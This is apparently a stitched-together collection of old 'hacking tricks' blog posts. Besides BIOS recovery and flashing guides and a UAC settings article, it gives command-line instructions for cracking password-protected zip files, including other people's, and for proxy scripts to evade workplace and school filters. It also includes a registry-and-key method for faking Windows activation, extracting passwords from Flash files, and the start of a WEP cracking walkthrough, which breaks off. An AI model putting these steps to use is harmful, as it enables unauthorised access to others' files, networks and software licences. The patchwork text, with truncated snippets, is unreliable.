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You don’t need to pay a measly sum of dollars just to recover from a boot block mode. Here it is folks:

AWARD Bootblock recovery:

That shorting trick should work if the boot block code is not corrupted, and it should not be if /sb switch is used when flashing the bios (instead of /wb switch).

The 2 pins to short to force a checksum error varies from chip to chip. But these are usually the highest-numbered address pins (A10 and above).

These are the pins used by the system to read the System BIOS (original.bin for award v6), calculate the ROM checksum and see if it’s valid before decompressing it into memory, and subsequently allow Bootblock POST to pass control over to the System BIOS.

You just have to fool the system into believing that the System BIOS is corrupt. This you do by giving your system a hard time reading the System BIOS by shorting the 2 high address pins. And when it could not read the System BIOS properly, ROM Checksum Error is detected “so to speak” and Bootblock recovery is activated.

Sometimes, any combination of the high address pins won’t work to force a checksum error in some chips, like my Winbond W49F002U. But shorting the #WE pin with the highest-numbered address pin (A17) worked for this chip. You just have to be experimentative if you’re not comfortable with “hot flashing” or “replacement BIOS”.

But to avoid further damage to your chip if you’re not sure which are the correct pins to short, measure the potential between the 2 pins by a voltmeter while the system is on. If the voltage reading is zero (or no potential at all), it is safe to short these pins.

But do not short the pins while the system is on. Instead, power down then do the short, then power up while still shorting. And as soon as you hear 3 beeps (1 long, 2 short), remove the short at once so that automatic reflashing from Drive A can proceed without errors (assuming you had autoexec.bat in it).

About how to do the shorting, the tip of a screwdriver would do. But with such minute pins on the PLCC chip, I’m pretty comfortable doing it with the tip of my multi-tester or voltmeter probe. Short the pins at the point where they come out of the chip.

AMIBIOS Recovery bootblock:

1. Copy a known working BIOS image for your board to a floppy and rename it to AMIBOOT.ROM.

2. Insert the floppy in your system’s floppydrive.

3. Power on the system while holding CTRL+Home keys. Release the keys when you hear a beep and/or see the floppy light coming on.

4 . Just wait until you hear 4 beeps. When 4 beeps are heard the reprogramming of the System Block BIOS went succesfull, so then you may restart your system.

Some alternative keys that can be used to force BIOS update (only the System Block will be updated so it’s quite safe):

CTRL+Home= restore missing code into system block and clear CMOS when programming went ok.

CTRL+Page Up= restore missing code into system block and clear CMOS or DMI when programming went ok.

CTRL+Page Down= restore missing code into system block and do not clear CMOS and DMI area when programming went ok

Btw: the alternative keys work only with AMIBIOS 7 or higher (so for example an AMI 6.26 BIOS can be only recovered by using CTRL+Home keys).

BLACKOUT Flashing

Recovering a Corrupt AMI BIOS chip

With motherboards that use BOOT BLOCK BIOS it is possible to recover a corrupted BIOS because the BOOT BLOCK section of the BIOS, which is responsible for booting the computer remains unmodified. When an AMI BIOS becomes corrupt the system will appear to start, but nothing will appear on the screen, the floppy drive light will come on and the system will access the floppy drive repeatedly. If your motherboard has an ISA slot and you have an old ISA video card lying around, put the ISA video card in your system and connect the monitor. The BOOT BLOCK section of the BIOS only supports ISA video cards, so if you do not have an ISA video card or your motherboard does not have ISA slots, you will have to restore your BIOS blind, with no monitor to show you what’s going on.

AMI has integrated a recovery routine into the BOOT BLOCK of the BIOS, which in the event the BIOS becomes corrupt can be used to restore the BIOS to a working state. The routine is called when the SYSTEM BLOCK of the BIOS is empty. The restore routine will access the floppy drive looking for a BIOS file names AMIBOOT.ROM, this is why the floppy drive light comes on and the drive spins. If the file is found it is loaded into the SYSTEM BLOCK of the BIOS to replace the missing information. To restore your BIOS simply copy a working BIOS file to a floppy diskette and rename it AMIBOOT.ROM, then insert it into the computer while the power is on. The diskette does not need to be bootable or contain a flash utility. After about four minutes the system will beep four times. Remove the floppy diskette from the drive and reboot the computer. The BIOS should now be restored.



Recovering a Corrupt AWARD BIOS

With AWARD BIOS the process is similar but still a bit different. To recover an AWARD BIOS you will need to create a floppy diskette with a working BIOS file in .BIN format, an AWARD flash utility and an AUTOEXEC.BAT file. AWARD BIOS will not automatically restore the BIOS information to the SYSTEM BLOCK for this reason you will need to add the commands necessary to flash the BIOS in the AUTOEXEC.BAT file. The system will run the AUTOEXE.BAT file, which will in turn flash the BIOS. This is fairly easy. Here are the steps you need to take.

· Create a bootable floppy diskette

· Copy the BIOS file and flash utility to the diskette

· Create an text file with any standard text editor and add the following lines

@ECHO OFF

FLASH763 BIOSFILE.BIN /py



Note: In the above example I am assuming that you are using the FLASH763.EXE flash utility. You will need to replace the FLASH763 with the name of whatever flash utility you are using, and replace the BIOSFILE.BIN with the name of the BIOS file you are using. You will also need to change the ‘/py’ to whatever the command is for your flash utility to automatically program the BIOS without user intervention. If you do not know the command to automatically flash your BIOS type the name of the flash utility with a space and then /? to display the utility’s help screen. The help screen should pecify the command switch to automatically flash your BIOS. If you are using the FLASH763.EXE utility then the switch to automatically flash your BIOS is ‘/py’.

BIOS Update Procedure

All latest Motherboards today, 486/ Pentium / Pentium Pro etc.,ensure that upgrades are easily obtained by incorporating the system BIOS in a FLASH Memory component. With FLASH BIOS, there is no need to replace an EPROM component. Once downloaded, the upgrade utility fits on a floppy disc allowing the user to save, verify and update the system BIOS. A hard drive or a network drive can also be used to run the newer upgrade utilities. However, memory managers can not be installed while upgrading.

Most pre-Pentium motherboards do not have a Flash BIOS. The following instructions therefore do not apply to these boards. If your motherboard does not have a Flash BIOS (EEPROM) you will need to use an EPROM programmer to re-program the BIOS chip. See your dealer for more information about this.

Please read the following instructions in full before starting a Flash BIOS upgrade:

A. Create a Bootable Floppy (in DOS)

•With a non-formatted disk, type the following:

format a:/s

•If using a formatted disk, type:

sys a:

This procedure will ensure a clean boot when you are flashing the new BIOS.

B. Download the BIOS file

•Download the correct BIOS file by clicking on the file name of the BIOS file you wish to download.

•Save the BIOS file and the Flash Utility file in the boot disk you have created. Unzip the BIOS file and the flash utility file. If you don’t have an “unzip” utility, download the WinZip for Windows 95 shareware/ evaluation copy for that one time use from _www.winzip.com or _www.pkware.com. Most CD ROMs found in computer magazines, have a shareware version of WinZip on them.

•You should have extracted two files:

Flash BIOS utility eg: flash7265.exe (for example)

BIOS eg: 6152J900.bin (example)

Use the latest flash utility available unless otherwise specified (either on the BIOS update page or in the archive file). This information is usually provided.

C. Upgrade the System BIOS

During boot up, write down the old BIOS version because you will need to use it for the BIOS backup file name.

Place the bootable floppy disk containing the BIOS file and the Flash Utility in drive a, and reboot the system in MS-DOS, preferably Version 6.22

•At the A:> prompt, type the corresponding Flash BIOS utility and the BIOS file with its extension.

For example:

flash625 615j900.bin

•From the Flash Memory Writer menu, select “Y” to “Do you want to save BIOS?” if you want to save (back up) your current BIOS (strongly recommended), then type the name of your current BIOS and its extension after FILE NAME TO SAVE: eg: a:\613J900.bin

Alternatively select “N” if you don’t want to save your current BIOS. Beware, though, that you won’t be able to recover from a possible failure.

•Select “Y” to “Are you sure to program?”

•Wait until it displays “Message: Power Off or Reset the system”

Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system. If you write to BIOS but cannot complete the procedure, do not switch off, because the computer will not be able to boo, and you will not be given another chance to flash. In this case leave your system on until you resolve the problem (flashing BIOS with old file is a possible solution, provided you’ve made a backup before)

Make sure the new BIOS version has been loaded properly by taking note of the BIOS identifier as the system is rebooting.

For AMI BIOS

Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system holding the “END” key prior to power on until you enter CMOS setup. If you do not do this the first time booting up after upgrading the BIOS, the system will hang.

BIOS Update Tips

note:

1.Make sure never to turn off or reset your computer during the flash process. This will corrupt the BIOS data. We also recommend that you make a copy of your current BIOS on the bootable floppy so you can reflash it if you need to. (This option is not available when flashing an AMI BIOS).

2. If you have problems installing your new BIOS please check the following:

Have you done a clean boot?

In other words, did you follow the above procedure for making a bootable floppy? This ensures that when booting from “A” there are no device drivers on the diskette. Failing to do a clean boot is the most common cause for getting a “Memory Insufficient” error message when attempting to flash a BIOS.

If you have not used a bootable floppy, insure a clean boot either by

a) pressing F5 during bootup

b) by removing all device drivers on the CONFIG.SYS including the HIMEM.SYS. Do this by using the EDIT command.

Have you booted up under DOS?

Booting in Windows is another common cause for getting a “Memory Insufficient” error message when attempting to flash a BIOS. Make sure to boot up to DOS with a minimum set of drivers. Important: Booting in DOS does not mean selecting “Restart computer in MS-DOS Mode” from Windows98/95 shutdown menu or going to Prompt mode in WindowsNT, but rather following the above procedure (format a: /s and rebooting from a:\).

Have you entered the full file name of the flash utility and the BIOS plus its extension?

Do not forget that often you will need to add a drive letter (a:\) before flashing the BIOS. Example: when asked for file name of new BIOS file which is on your floppy disk, in case you’re working from c:\ your will need to type a:\615j900.bin, rather than 615j900.bin only.

Cracking Password Protected Zip Files |

What is FZC?

FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you’re gonna need a password to open the zip file and extract files out of it). You can get it anywhere - just use a search engine such as google.com.

FZC uses multiple methods of cracking - bruteforce (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords systematically, the program takes passwords out of a “wordlist”, which is a text file that contains possible passwords. You can get lots of wordlists at www.theargon.com.).

FZC can be used in order to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you’re not supposed to have. So like every tool, this one can be used for good and for evil.

The first thing I want to say is that reading this tutorial… is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase “check name.txt” often in this text. These files should be in FZC’s directory. They contain more information about FZC.

FZC is a good password recovery tool, because it’s very fast and also support resuming so you don’t have to keep the computer turned on until you get the password, like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything - a number, a lowercase or undercase letter or a symbol such as ! or &) because 32 chars is the maximum value that FZC will accept, but it doesn’t really matter, because in order to bruteforce a password with 32 chars you’ll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.

FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don’t require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.

Now that you have a good wordlist, just get FZC working on the locked zip file, grab a drink, lie down and wait… and wait… and wait…and have good thoughts like “In wordlist mode I’m gonna get the password in minutes” or something like this… you start doing all this and remember “Hey this guy started with all this bullshit and didn’t say how I can start a wordlist attack!…” So please wait just a little more, read this tutorial ’till the end and you can do all this “bullshit”.

We need to keep in mind that are some people might choose some really weird passwords (for example: ‘e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won’t help you anymore. Instead, you’ll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won’t get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB’s list and start using the Brute Force attack.

If you have some sort of a really fast and new computer and you’re afraid that you won’t be able to use your computer’s power to the fullest because the zip cracker doesn’t support this kind of technology, it’s your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.

Now that we’ve gone through all the theoretical stuff, let’s get to the actual commands.

Bruteforce

The command line you’ll need to use for using brute force is:

fzc -mb -nzFile.zip -lChr Lenght -cType of chars

Now if you read the bforce.txt that comes with fzc you’ll find the description of how works Chr Lenght and the Type of chars, but hey, I’m gonna explain this too. Why not, right?… (but remember look at the bforce.txt too)

For Chr Lenght you can use 4 kind of switches…

-> You can use range -> 4-6 :it would brute force from 4 Chr passwors to 6 chr passwords

-> You can use just one lenght -> 5 :it would just brute force using passwords with 5 chars

-> You can use also the all number -> 0 :it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don’t think that you would do this…. if you are thinking in doing this get a live…

-> You can use the + sign with a number -> 3+ :in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option…

For the Type of chars we have 5 switches they are:

-> a for using lowercase letters

-> A for using uppercase letters

-> ! for using simbols (check the Bforce.txt if you want to see what simbols)

-> s for using space

-> 1 for using numbers

Example:

If you want to find a password with lowercase and numbers by brute force you would just do something like:

fzc -mb -nzTest.zip -l4-7 -ca1

This would try all combinations from passwords with 4 chars of lenght till 7 chars, but just using numbers and lowercase.

*****

hint

*****

You should never start the first brute force attack to a file using all the chars switches, first just try lowercase, then uppercase, then uppercase with number then lowercase with numbers, just do like this because you can get lucky and find the password much faster, if this doesn’t work just prepare your brain and start with a brute force that would take a lot of time. With a combination like lowercase, uppercase, special chars and numbers.

Wordlist

Like I said in the bottom and like you should be thinking now, the wordlist is the most powerfull mode in this program. Using this mode, you can choose between 3 modes, where each one do some changes to the text that is in the wordlist, I’m not going to say what each mode does to the words, for knowing that just check the file wlist.txt, the only thing I’m going to tell you is that the best mode to get passwords is mode 3, but it takes longer time too.

To start a wordlist attak you’ll do something like.

fzc -mwMode number -nzFile.zip -nwWordlist

Where:

Mode number is 1, 2 or 3 just check wlist.txt to see the changes in each mode.

File.zip is the filename and Wordlist is the name of the wordlist that you want to use. Remember that if the file or the wordlist isn’t in the same directory of FZC you’ll need to give the all path.

You can add other switches to that line like -fLine where you define in which line will FZC start reading, and the -lChar Length where it will just be read the words in that char length, the switche works like in bruteforce mode.

So if you something like

fzc -mw1 -nztest.zip -nwMywordlist.txt -f50 -l9+

FZC would just start reading at line 50 and would just read with length >= to 9.

Example:

If you want to crack a file called myfile.zip using the “theargonlistserver1.txt” wordlist, selecting mode 3, and you wanted FZC to start reading at line 50 you would do:

fzc -mw3 -nzmyfile.zip -nwtheargonlistserver1.txt -f50

Resuming

Other good feature in FZC is that FZC supports resuming. If you need to shutdown your computer and FZC is running you just need to press the ESC key, and fzc will stop. Now if you are using a brute force attack the current status will be saved in a file called resume.fzc but if you are using a wordlist it will say to you in what line it ended (you can find the line in the file fzc.log too).

To resume the bruteforce attack you just need to do:

fzc -mr

And the bruteforce attack will start from the place where it stopped when you pressed the ESC key.

But if you want to resume a wordlist attack you’ll need to start a new wordlist attack, saying where it’s gonna start. So if you ended the attack to the file.zip in line 100 using wordlist.txt in mode 3 to resume you’ll type

fzc -mw3 -nzfile.zip -nwwordlist.txt -f100

Doing this FZC would start in line 100, since the others 99 lines where already checked in an earlier FZC session.

Well, it looks like I covered most of what you need to know. I certainly hope it helped you… don’t forget to read the files that come with the program

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How to Set up your own Proxy Server

Lot´s of people complain that Web Proxys are not working at their Works / Schools computer because they have been banned by administrators. A way around this would be to setup your very own proxy server that is being hosted a) by a free web hosting service that supports either php or cgi or b) your own website that is being hosted by a web hosting company.

Both methods should work and I will walk you right through the installation process for both scripts and give you tips how to find out what is actually being blocked. Before we start you need to download a copy of phpproxy or cgiproxy depending on what you want and can use. You also could perform a search for free web hosting on google for instance and try to find a web host that supports one of the two languages, a good site that I found while searching for those terms might be freewebspace.net

1. phpproxy

Download phpproxy and unpack it to a local directory on your hard drive. All you need to do know is to upload the script to your webspace and open up the new url to check if its working allright. You might want to rename the file to something different, something that does not contain the word proxy in it to avoid filters that ban everything that has the word “proxy” in it.

You could open up the script and enter your clients ip in there to make sure that only your client will be able to connect or you could add a .htaccess file to the directory forcing everyone who wants to start the script to enter a username and password. Again, use google if you like to find out more information about .htaccess

The php script has some requirements, make sure you read the readme file which is included and check to see if your hoster has those requirements enabled.

2. cgiproxy

Your hoster has to have cgi enabled in order to run this script. Many free hosters do not offer cgi or only some preinstalled scripts. Make sure it is enabled before you start the installation process.

First, download the source and unpack it to a local directory.

Now, open the .cgi file and take a look at the configuration. You can edit lots of settings from within, for example you could configure the script that way that it only allows text to go through the proxy but no images. Everything is explained in detail and all options are explained with comments, browse through the file, edit the options to your liking and save the new file.

After that upload the script to your cgi directory if that is required by your hoster and open the url from your browser. You are now ready to browse the web anonymously, to check if that is really the case load a website like whatismyip.com as the first site and check if the ip matches with the server the script is installed and not your computers ip. If that is the case you´ve done everything right and can surf anonymously. (there are still ways to find out your ip, just in case you are wondering)

3. What is being blocked ?

a) If you can access the proxy from the client they only block domains / ips.

b) If you can´t access the proxy they might be banning filenames that contain proxy as well, try changing the filename.

Enabling/Disabling User Access Control in Windows Vista

Microsoft’s advertising has stressed the new security features found in Windows Vista. From the user perspective, one such feature, User Access Control, is arguably the most noticeable enhancement. User access control is a mechanism by which users — even administrators — perform common Windows tasks with non-administrative rights, or as a standard user. Before administrative tasks can be performed, users must actively approve actions that could be potentially dangerous to the computer.

In this article, I’ll give you a complete look at User Access Control’s inner workings and show you some ways you can change the behavior of this new feature.

How does User Access Control work?

The Inner workings of User Access Control reveal a lot about how this feature protects your computer. First, let’s talk about why User Access Control was developed.

The problem: Windows XP and silent installations

In pre-Vista versions of Windows, upon login, a user was assigned an access token. A non-administrative user was assigned a token that granted him access to resources that did not require administrative rights. Users that were members of an administrative group were assigned a single token that granted them full rights to all of the resources on the local computer.

From an ease-of-use perspective, this level of authority was great. However, from a security perspective, it’s not so great; even for IT pros. Consider the potential for “drive-by” spyware installation. A drive-by installation happens when you visit, either accidentally or intentionally, a site containing malicious code that you don’t know about. While spyware scanners have significantly improved over the past couple of years, there’s not a single solution on the market that will protect against every known threat. Even if there was such a product, there would still be the issue of unknown threats. New spyware pops up every day and it takes vendors time to discover these new nuisances and update their products.

If you’re logged in to Windows XP as a user with administrative privileges at the time the drive-by takes place, spyware may get installed to your computer with absolutely no notice to you. This spyware could be anything from a fairly innocuous tool to a key logger that keeps track of everything you type and sends the results to a predetermined location. You might end up with the installation of a back door that allows a hacker to make his way into your system at some point in the future to achieve his nefarious goals. Worse, the deeper spyware is embedded into your system, the more difficult it is to remove, short of a complete system rebuild, which can take hours.

Note: When you install Windows XP, the Setup Wizard assigns administrative rights to all local accounts.

Now, you might tell yourself you already knowall of this; but, in your organization, you’re forced to allow users to run as a local administrator for any number of reasons. For example, many users (with the backing of management) feel it is vital that they have the ability to install new applications on their desktop. Unfortunately, they’re often right. Doing business on the Web often means having to install a new ActiveX control or other type of application. While not the safest behavior, allowing people to do their jobs is preferable to paying people to sit in a chair doing nothing under the unyielding thumb of IT.



The solution: Windows Vista and User Access Control

Windows Vista’s introduction of User Access Control aims to tame this beast and bring some order back to chaos. Under Vista, when an administrative user logs in to the system, he is granted not one, but two access tokens: an administrative access token and a standard user access token. The standard access token is used to start the user’s desktop. The end result is that the administrator is running a system with more limited rights than he would have received upon login under Windows XP. Until there is a need, the second token — the one with administrative rights — is not used.

This situation takes place, for example, when the administrative user starts a control panel applet and tries to change a setting, Windows Vista’s User Access Control feature pops up a window indicating that permission is necessary to continue. When you choose to allow an administrative action to take place using the administrative token, you are allowing that application to run with elevated privileges. Figure A gives you a look at a typical User Access Control dialog box. If you want to allow the action, press the Continue button.

Figure A

User Access Control asks if you want to proceed with the action.

If you’ve seen the Mac v. PC commercials on Apple’s Web site, you’ll recognize this dialog box as being the point of discussion between the PC and the Mac with a security guard standing behind the PC to verify every communication with the Mac. In reality, the situation is not quite that bad. In fact, although annoying from time to time, the situation is much better as the new system provides a visual cue that something is going on and gives a user an opportunity to decline an action.

Annoyance is one of the results I will try to help you with in this article. I’ll show how you can disable User Access Control altogether, and how to indicate that specific applications should always run in an elevated state.



Completely disabling User Access Control

I’ll preface this section by saying I don’t recommend you take this action, even on your own computer. Much as I am loathe to admit it, even though I preach the dangers of the “blind click” on a pop-up and the resulting spyware that ensues to students and users, I sometimes forget my own advice. Last summer, when I was in a hurry to complete a task, I got what appeared to be a system dialog box and pressed the OK button. Just as I released the mouse button, I realized that the “OK button” I had just pressed was actually a pop-up from a Web site. Just hours later, my system was infested with spyware.

The lesson here is this: Even those of us that do this for a living fall victim to spyware. With User Access Control, at least there is one more barrier between us and them.

But, if you find that User Access Control is seriously debilitating, you candisable it and move on. There are a number of ways to disable User Access Control. I’ll show you how to do so using the Control Panel, the Registry Editor, and Group Policy.

All of the solutions in this article require that you log on as a user with administrative rights. For most solutions, however, you cannot use the local administrator account. This account is not subject to administrative approval. Use another account that is a member of the local administrators group.

Disable User Access Control using MSConfig

For a few machines, you can use MSConfig to change the behavior of User Access Control:

1. Go to Start | All Programs | Accessories | Run.


2. In the Run box, type “msconfig”, and press [Enter].


3. From the System Configuration window, choose the Tools tab, as shown in Figure B.


4. In the Tool Name column, look for the Disable UAC option.


5. Press the Launch button.


6. Reboot the system.

Figure B

The System Configuration window Tools tab.



Disable User Access Control via the Control Panel

If you have just a couple of machines, the easiest way to disable User Access Control is to disable the feature via the Control Panel. Follow these steps to achieve this goal:

1. Go to Start | Control Panel.


2. Viewing the Control Panel in “Classic” mode, choose the User Accounts applet. This opens the screen shown below in Figure.

The User Accounts control panel applet.

1. Choose the “Turn User Account Control on or off” option. Note that this applet has a little shield next to it. This shield indicates that this function is itself protected by User Account Control.


2. Deselect the checkbox next to Use User Account Control (UAC) To Help Protect Your Computer. See Figure D.

Figure D

The User Accounts control panel applet.

1. Press OK.


2. Reboot your computer for the changes to take effect.

Disable User Access Control via the Registry Editor

A second way to disable User Access Control involves the use of the registry editor. By changing a specific key on each Vista machine, you can disable User Access Control. Here are the steps:

1. Start the Registry Editor.


2. Browse to the following key: HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion Policies System.


3. Change the value of the EnableLUA entry to “0″ If you ever want to re-enable User Access Control, follow these instructions, but change the value of the EnableLUA entry to “1″. See Figure E for a look at the screen.


4. When you are done, reboot the computer for the change to take effect.

Figure E

The EnableLUA key in the Registry Editor.

Manage/Disable User Access Control via Group Policy

If you have a lot of computers and you want to change User Access Control behavior across all of them, your best bet is to use Group Policy. The Group Policy method is also the most granular of the bunch and allows you to set a variety of parameter related to User Access Control. I’ll show you how to accomplish this using the local group policy administrative tool.

1. Go to Start | All Programs | Accessories | Run.


2. In the Run box, type “secpol.msc” and press [Enter].


3. When User Account Control asks for permission to continue, press the Continue button.


4. Browse to Computer Configuration | Windows Settings | Security Settings | Local Policies | Security Options. You’ll see the screen shown in Figure F.


5. Select the group policy object you wish to modify and change the setting to the desired value. The list below provides you with a look at all of the group policy settings associated with User Access Control.

Figure F

The Group Policy Object Editor.

There are a number of options related to User Access Control:

• User Account Control: Behavior of the elevation prompt for the built-in Administrator account — This setting determines the behavior of User Access Control when used with the built-in Administrator account.
  
  
  
  • Enabled: When running an application that needs administrative rights, the built-in Administrator account will be subject to User Access Control.
  
  
  • Disabled (default): The built-in Administrator account will run all applications without further prompting.
  
  
  
  


• User Account Control: of the elevation prompt for administrators in Admin Approval Mode — This setting determines what takes place when administrators (besides the built-in Administrator account) run a privileged application.
  
  
  
  • Elevate without prompting: This is the most dangerous setting and should be used only in very secure environments. Restricted applications are run with administrative rights without intervention.
  
  
  • Prompt for credentials: The user is prompted to provide the user name and password for a user with local administrative rights.
  
  
  • Prompt for consent (default): This is the normal behavior for User Access Control and asks the user (assuming the user has administrative rights) to permit or deny running an application with administrative rights.
  
  
  
  


• User Account Control: Behavior of the elevation prompt for standard users — This setting determines what takes place when standard users try to run a privileged application.
  
  
  
  • Prompt for credentials (Default for Home editions): The user is prompted to provide the user name and password for a user with local administrative rights.
  
  
  • Automatically deny elevation requests (Default for Enterprise editions): The user will receive a message indicating that access to the application has been denied.
  
  
  
  


• User Account Control: Detect application installations and prompt for elevation — How will the User Access Control system respond to requests for the installation of new programs?
  
  
  
  • Enabled (Default for home): Application installations that require administrative privileges will trigger the User Access Control prompt.
  
  
  • Disabled (Default for enterprise): Since many application installations are handled via Group Policy, user intervention and approval is not necessary.
  
  
  
  


• User Account Control: Only elevate executables that are signed and validated — Do elevated applications require a valid PKI certificate chain?
  
  
  
  • Enabled: Requires that an application has a valid PKI certificate chain before it is allowed to run.
  
  
  • Disabled (default): Does not require that an application be signed in order to run.
  
  
  
  


• User Account Control: Only elevate UIAccess applications that are installed in secure location — Applications that request execution with a UIAccess integrity level must reside in a secure area of the system.
  
  
  
  • Enabled (default): An application with UIAccess integrity with launch only if it resides in a protected area of the system.
  
  
  • Disabled: An application with UIAccess integrity will launch regardless of the location of the executable.
  
  
  
  


• User Account Control: Run all administrators in Admin Approval Mode — Run all users, including administrators, as standard users. This effectively enables or disables User Access Control. If you change this setting, you must reboot the system.
  
  
  
  • Enabled (default): Administrative Approval Mode and User Access Control is enabled.
  
  
  • Disabled: Disable User Access Control and Admin Approval Mode.
  
  
  
  


• User Account Control: Switch to the secure desktop when prompting for elevation — When User Access Control is enabled and displays an elevation prompt, change Windows Vista to the secure desktop as opposed to the standard user’s desktop.
  
  
  
  • Enabled (default): Elevation requests are directed to a secure desktop.
  
  
  • Disabled: Elevation requests are directed to the standard desktop.
  
  
  
  


• User Account Control: Virtualize file and registry write failures to per-user locations — This setting enables the redirection of legacy application write failures to defined locations in both the registry and file system, mitigating those applications that historically ran as administrator and wrote runtime application data back to %ProgramFiles%, %Windir%; %Windir%\system32 or HKLM\Software\. In short, this key helps to maintain backward compatibility with legacy applications that do not like to run as a standard user.
  
  
  
  • Enabled (default): Applications writing data to protected areas will be redirected to other locations.
  
  
  • Disabled: Applications writing data to protected areas will fail.
  
  
  
  

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Selectively disabling User Access Control

Not all applications are marked in such a way as to trigger a User Access Control warning when executed. However, many applications need to be run with administrative rights enabled in order to function as intended. In order to accommodate this situation, you can mark an application so it runs with administrative rights each time the application is executed. To do so:

1. Right-click the executable associated with the application.


2. From the shortcut menu, choose the Properties option.


3. From the Properties page, select the Compatibility tab.


4. Under the Privilege Level heading, select the checkbox next to “Run this program as an administrator” , as seen in Figure G.


5. Press OK.

Figure G

The application’ s Compatibility tab.

For some applications, the “Run this program as an administrator” option may not be available. There can be a number of reasons for this:

• You are not logged in as a user with administrative rights.


• The application is not capable of being run with elevated rights.


• The application is a part of the operating system. OS applications cannot be modified in this manner.

Annoying, but worth it

User Access Control might be an annoying way to achieve system security, but it’s actually pretty welcome when it comes to maintaining system security, especially for home users. Mac and Linux users have long had to deal with the same basic security scheme, but it’s new to Windows users. Once Windows users get used to it, they’ll appreciate the added security it provides.

Making Windows Genuine

1 . start > run > ” regedit” (without the quotes of course)

2 . Go to the key:

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WindowsNT\ CurrentVersion\WPAEvents\OOBETimer

…and doubleclick on it.

Then change some of the value data to ANYTHING ELSE…delete some, add some letters, ..just change it! now close out regedit.

3 . Go to start > run > “%systemroot%\system32\oobe\msoobe.exe /a” (again, don’t type the quotes)

4 . The activation screen will come up, click on register over telephone,>next> then click on CHANGE PRODUCT KEY, enter in this key:

JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ and give update.

(Now automatically window will return back to activate by telephone mode and ask for activation code,just ignore and exit that window it’s done)

Access Orkut On Your Mobile Phone or PDA

Here is a Great Hack for all Orkut Users…

Have you ever tried to access orkut on your Mobile Browser. If you have tried, you must surely know what happens……….

Let me tell u for those who have not tried it..The login box does not appear…. As a result you cannot sign in and therefore, to say as a whole, ORKUT CANNOT BE ACCESSED ON MOBILE!!!!!

But here is a trick for all to ACCESS ORKUT ON YOUR MOBILE.. You need to do nothing, just follow the link:

https://www.google.com/accounts/Serv….aspx&hl=en-US

And you will see that only the login-box appears, just sign in and there you are…

The whole ORKUT at your hands!!!!

If you lose this link,, here is how to get it.. when you open www.orkut.com on your pc. The login box loads in a different frame.., In Firefox, right click on this frame and Select load this frame only, and the link you get for that frame is this link.Actualy what happens is that we load only this frame and not the others..

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This is really cool trick. I am sure everybody will like it.

Just follow the steps:

1. Write your Message/Scrap in community or scrapbook.


2. Copy paste the code below in your browser and then press enter. Please be ensured that you write the code in one line in the address bar.



javascript:vartxt=document.getElementsByTagName(’textarea’)[0];txt.v



3. You will see change in the message you wrote.


4. Press Submit and enjoy.

If you have any such cool tricks then Post it as a Comment to this Post. Your views about this post are welcome.

Ripping Flash Movies for Passwords

Ripping Flash Movies for Passwords Is easy Follow My Tutorial.

How to rip a flash movie from a website ?

Go to the website where the flashfile is located.

Open de sourcecode (rightmouse click…select view sourcecode) of the html,asp,php..etc file where the flash movie is played from.

“http://www.website.com” is the site where the flashfile is located.

“/flash/ ” is the subdir on that website.

“movie.swf” is the flash file itself.

but ofcourse this is only a example: the website, subdir and moviename wil be diffrent to this one.

Look for something like this: (can be diffrent)

<object classid=”clsid:D27CDB6E-AE6D-11cf-96B8-444553540000″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0″ width=”550″ height=”400″>

<param name=movie value=”http://www.website.com/flash/movie.swf”>

<param name=quality value=high>

<embed src=”http://www.website.com/flash/movie.swf” quality=high pluginspage=”http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash” type=”application/x-shockwave-flash” width=”550″ height=”400″>

</embed>

</object>

Now the movie it self, it’s highlighted in green.

<object classid=”clsid:D27CDB6E-AE6D-11cf-96B8-444553540000″ codebase=”http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0″ width=”550″ height=”400″>

<param name=movie value=”http://www.website.com/flash/movie.swf”>

<param name=quality value=high>

<embed src=”http://www.website.com/flash/movie.swf” quality=high pluginspage=”http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash” type=”application/x-shockwave-flash” width=”550″ height=”400″>

</embed>

</object>

Now the ripping it self.

Open notepad or a webeditor and create a sourcecode like this:

<html>

<a href=”http://www.website.com/flash/movie.swf”>Flash movie</a>

</html>

Save the file with: “Save as” and name it “flash.html”.

Open it in your webbrowser and rightclick on the link “Flash movie” select “save target as” and save it to your HDD.

Finally: open it in Macromedia Flash v*.* and lookup the password.

WEP Cracking, FBI Style( In Just 3 Minutes ) !

Okay, before we begin, I give you Hungry Hacker´s fun facts on WEP.

FUN FACTS:

-WEP stands for Wired Equivalent Privacy

-WEP is used to secure wireless networks from eavesdroppers

-WEP usually takes hours to crack

WEP has always been a long and tedious job, untill recently, when two FBI agents demonstrated how it´s possible to crack WEP in under 4 minutes (3 to be exact).

Here is how they did it:

1. Run Kismet to find your target network. Get the SSID and the channel.

2. Run Airodump and start capturing data.

